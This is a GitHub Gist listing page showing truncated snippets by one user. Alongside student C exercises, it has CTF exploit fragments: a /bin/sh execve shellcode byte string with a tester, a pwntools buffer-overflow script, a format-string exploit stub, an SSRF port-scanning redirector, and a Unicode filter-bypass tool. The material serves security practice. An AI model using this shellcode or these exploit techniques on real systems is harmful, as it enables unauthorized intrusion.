Skip to content

Instantly share code, notes, and snippets.

@xmpf
xmpf / maxsum.c
Created January 11, 2015 18:17
ECE[@]NTUA: Σειρά 7 Άσκηση 23 (maxsum) - Εισαγωγή στον Προγραμματισμό Η/Υ
#include <stdio.h>
#include <stdlib.h>
int main ()
{
int N;
int i;
int *a;
int sum;
@xmpf
xmpf / qposneg.c
Created February 25, 2015 22:08
ECE[@]NTUA: Σειρά 8 - Εισαγωγή στον Προγραμματισμό Η/Υ
#include <stdio.h>
#include <stdlib.h>
typedef enum bool_t {false, true} bool_t;
typedef struct node_t {
int data;
struct node_t *next;
} node_t;
@xmpf
xmpf / ctftime_writeups,py
Created April 5, 2020 18:39
Naive script to find information about writeups of a CTF from ctftime
#!/usr/bin/env python3
import re
import sys
import json
import requests
from typing import List
from bs4 import BeautifulSoup
from urllib.parse import urlparse
@xmpf
xmpf / bin2shellcode.sh
Created February 17, 2021 21:10
binary2shellcode
function bin2shellcode {
echo "----- CUT HERE -----"
sc=""
for i in $(objdump -d "$1" | awk -F"\t" '{ print $2 }' | tr '\n' ' ' | sed 's/\ //g' | fold -w 2 | paste -sd' ')
do
sc="${sc}\\\x${i}"
done
echo "\"${sc}\""
echo "--------------------"
}
@xmpf
xmpf / shellcode_test.c
Created February 18, 2021 09:00
test and verify shellcode
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
#include <errno.h>
const char shellcode[] =
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
@xmpf
xmpf / format.py
Created March 20, 2021 19:37
Codefest CTF: Format Strings [#pwn]
#!/usr/bin/env python3
'''
0x080492df <+52>: push 0x50
0x080492e1 <+54>: lea eax,[ebp-0x58]
0x080492e4 <+57>: push eax
0x0804930d <+98>: call 0x80490a0 <printf@plt>
0x08049312 <+103>: add esp,0x10
@xmpf
xmpf / cishard.py
Created March 20, 2021 20:06
Codefest: C is Hard - Basic Stack Buffer Overflow [#pwn]
#!/usr/bin/env python3
from pwn import *
'''
gdb> info functions
0x00000000004011b6 print_flag
'''
addr = p64(0x4011b6)
@xmpf
xmpf / websrv_redirector_ssrf.go
Last active June 9, 2021 15:46
PoC Web Server for SSRF Port Scanning written in Go
package main
import (
"fmt"
"log"
"net/http"
"strings"
)
func handler(w http.ResponseWriter, r *http.Request) {
@xmpf
xmpf / utranslate.py
Last active September 30, 2023 00:31
Change ASCII to Unicode encoding => Filter Bypass
#!/usr/bin/env python3
import sys
import signal
from types import FrameType
from typing import Union
def sighandler(signum: int, frame: Union[FrameType, None]) -> signal.Handlers:
sys.stdout.write("\r")
@xmpf
xmpf / keypair.js
Created December 5, 2021 17:34
Generate Private and Public key using Node
// $ npm install node-rsa
const NodeRSA = require('node-rsa');
const keyPair = new NodeRSA({b: 512}).generateKeyPair();
const publicKey = keyPair.exportKey('public')
const privateKey = keyPair.exportKey('private')
console.log(publicKey);
console.log("\n\n");
console.log(privateKey);